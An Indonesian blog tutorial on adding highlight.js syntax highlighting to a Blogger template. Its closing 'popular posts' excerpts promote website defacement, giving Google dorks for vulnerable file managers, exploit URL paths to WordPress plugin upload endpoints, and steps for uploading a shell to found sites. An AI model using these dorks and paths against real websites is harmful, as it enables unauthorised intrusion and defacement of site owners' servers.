Skip to main content

Cara Membuat Syntax Highlighting Di Blogger


Syntax Highlighting
pada postingan kali ini mimin bakal ngeshare sedikit tutorial cara membuat syntax Highlighting di blogger.
tapi sebelum-nya kita harus memahami pengertian-nya,mimin bakal share sedikit pengertian-nya.berikut adalah pengertian singkat dari Syntax Highlighting.Syntax Highlighting adalah fitur editor teks yang digunakan untuk pemrograman, scripting, atau bahasa markup, seperti HTML. Fitur ini menampilkan teks, terutama kode sumber, dalam berbagai warna dan font sesuai dengan kategori istilah. Fitur ini memfasilitasi penulisan dalam bahasa terstruktur seperti bahasa pemrograman atau bahasa markup karena struktur dan kesalahan sintaks secara visual berbeda. Menyoroti tidak memengaruhi makna teks itu sendiri; ini dimaksudkan hanya untuk pembaca manusia.dan biasanya setiap aplikasi text editor pasti memiliki fitur ini,karena dengan menggunakan SyntaxHighlighter memudahkan kita  dalam menulis source.nah itu sedikit pengertian-nya.sekarang kita tinggal kembali ke topik kita cara membuat Syntax Highlighting.


  • Langkah 1 Memilih Style Syntax Highlighting
Langkah pertama sobat kunjungi web di sini.
Klik text"185 languages and 91 styles".
Kemudian cari styles yang ingin kalian Pilih pada bagian Styles.
Disini saya memilih style bernama atelier dune dark.
Hafalkan Nama style yang sudah kalian pilih tadi ya.

  • Langkah 2 Memberi Kode javascript 
Langkah ke 2,kemudian kita pergi ke web di sini .
Cari link JS nya yang bernama highlight.min.js
Copy Linknya kemudian ketikan kode ini.
<script src='paste link js-nya disini' style='text/javascript' />
  • Langkah 3 memberi style css
Langkah ke 3,selanjutnya kita mencari link css styles yang sudah kita pilih, caranya Ketik CTRL+F kemudian cari nama styles tadi .karena tadi saya memilih style dengan nama atelier dune dark ,jadi saya tinggal mencari link css Atelier dune dark nya saja.
Copy link css jika kalian sudah menemukannya ,lalu ketikan kode seperti ini .
<link href='link css nya disini' rel='stylesheet' />
Kemudian berikan kode ini juga
<script>hljs.initHighlightingOnLoad();</script>
dan letakkan .Dibawah link href tadi .
  • Langkah 4 Menyatukan Kode-nya
Satukan semua kode yang telah kalian buat menjadi seperti ini .
<script src='link nya' style='text/javascript' />
<link href='link css' rel='stylesheet' />
<script>hljs.initHighlightingOnLoad();</script>
  • Langkah 5 Memasangkan ke Template
Selanjutnya pastekan ke dua kode tersebut ke template blog kalian caranya
Buka blogger >Tema >Edit HTML
Letakkan dibawah tag <head>.

  • Langkah 6 Cara memberi syntax pada artikel
Untuk sobat yang ingin memosting artikel di blog namun di artikel tersebut sobat memberikan beberapa kode seperti HTML ,PHP ,JAVA, CSS ke dalam artikel sobat caranya cukup memberi kode ini
<pre><code>Isi kode disini</code></pre>
Mudah bukan tutorial kali ini tentang cara membuat syntax highlighting pada blog .
Contoh Syntax Highlighting:
Sekian dari artikel ini.
jika ada kekurangan dan kesalahan pengetikan saya mohon maaf .
Mau Juga Niru'in Syntax highlighting yang biasa mimin pakai di blog?
DOWNLOAD RAW

Comments

Popular posts from this blog

Deface Metode Responsive Filemanager

Deface Metode Responsive Filemanager Sesuai dengan judulnya kali ini Mimin Bakal Share Tutorialnya kali ini.

Deface metode WP Event Registration File Upload

Kali ini Mimin Bakal Memberikan tutorial Deface Lagi. Oke dari pada berlama-lama, langsung saja ke tutorialnya. Dork: inurl: /wp-content/plugins/event-registration/jscripts/tiny_mce *Kembangin Dork Bila Perlu Exploit: Exploit 1 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true Exploit 2 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/upload.php?path=/home/[DIRECTORY-NAME-HERE]/public_html/wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/files Exploit 3 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm&url=/wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/Select%20file&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true La...

Deface Metode Roxy FileManager

Deface metode Roxy FileManager - sebenernya teknik ini sudah cukup lama, dan mungkin untuk para defacer lama juga tau dan bisa melakukan nya. Tapi disini saya sengaja membuat artikel Supaya Para defacer Awam Juga dapat belajar Untuk Teknik Yang satu ini. Dari pada berlama-lama langsung saja simak tutorial nya dibawah ini. Pertama Dorking di google menggunakan dork dibawah ini. inurl:/ckeditor/fileman/index.html intitle:"Roxy file manager" inurl:/fileman/index.html inurl:/ckeditor/fileman/ Pilih saja salah satu dork diatas, kemudian dorking di google. Baca Juga:  DEFACE METODE PRO TAXI Kedua Pilih salah satu websitenya, kemudian buka website. Tampilannya kira-kira seperti ini. Upload shell maupun script deface kalian. Catatan: Tidak Semua Web Bisa Di Upload Shell, Tergantung Dari Keberuntungan Kalian:v Ketiga  Gambar dibawah contoh jika kalian sukses meng-upload shell maupun Script Deface Kalian. Untuk Path file nya Kalian Cukup Tambahin " /Uploads/d...